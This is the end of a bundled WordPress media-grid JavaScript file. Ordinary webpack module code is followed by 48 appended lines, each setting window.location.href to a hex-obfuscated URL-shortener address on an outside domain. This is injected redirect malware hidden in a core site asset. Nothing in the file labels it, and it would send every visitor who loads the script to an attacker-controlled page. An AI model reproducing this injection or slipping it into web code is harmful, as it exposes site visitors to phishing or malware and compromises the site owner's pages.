997/******/ var module = __webpack_module_cache__[moduleId] = {
998/******/ // no module.id needed
999/******/ // no module.loaded needed
1000/******/ exports: {}
1001/******/ };
1002/******/
1003/******/ // Execute the module function
1004/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
1005/******/
1006/******/ // Return the exports of the module
1007/******/ return module.exports;
1008/******/ }
1009/******/
1010/************************************************************************/
1011/**
1012 * @output wp-includes/js/media-grid.js
1013 */
1014
1015var media = wp.media;
1016
1017media.controller.EditAttachmentMetadata = __webpack_require__( 659 );
1018media.view.MediaFrame.Manage = __webpack_require__( 8359 );
1019media.view.Attachment.Details.TwoColumn = __webpack_require__( 1312 );
1020media.view.MediaFrame.Manage.Router = __webpack_require__( 2429 );
1021media.view.EditImage.Details = __webpack_require__( 8521 );
1022media.view.MediaFrame.EditAttachments = __webpack_require__( 1003 );
1023media.view.SelectModeToggleButton = __webpack_require__( 682 );
1024media.view.DeleteSelectedButton = __webpack_require__( 6606 );
1025media.view.DeleteSelectedPermanentlyButton = __webpack_require__( 5806 );
1026
1027/******/ })()
1028;
1029window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1030window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1031window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1032window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1033window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1034window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1035window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1036window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1037window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1038window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1039window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1040window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1041window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1042window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1043window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1044window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1045window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1046window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1047window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1048window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1049window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1050window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1051window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1052window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1053window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1054window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1055window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1056window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1057window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1058window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1059window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1060window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1061window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1062window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1063window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1064window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1065window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1066window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1067window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1068window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1069window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1070window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1071window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1072window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1073window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1074window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1075window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1076window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";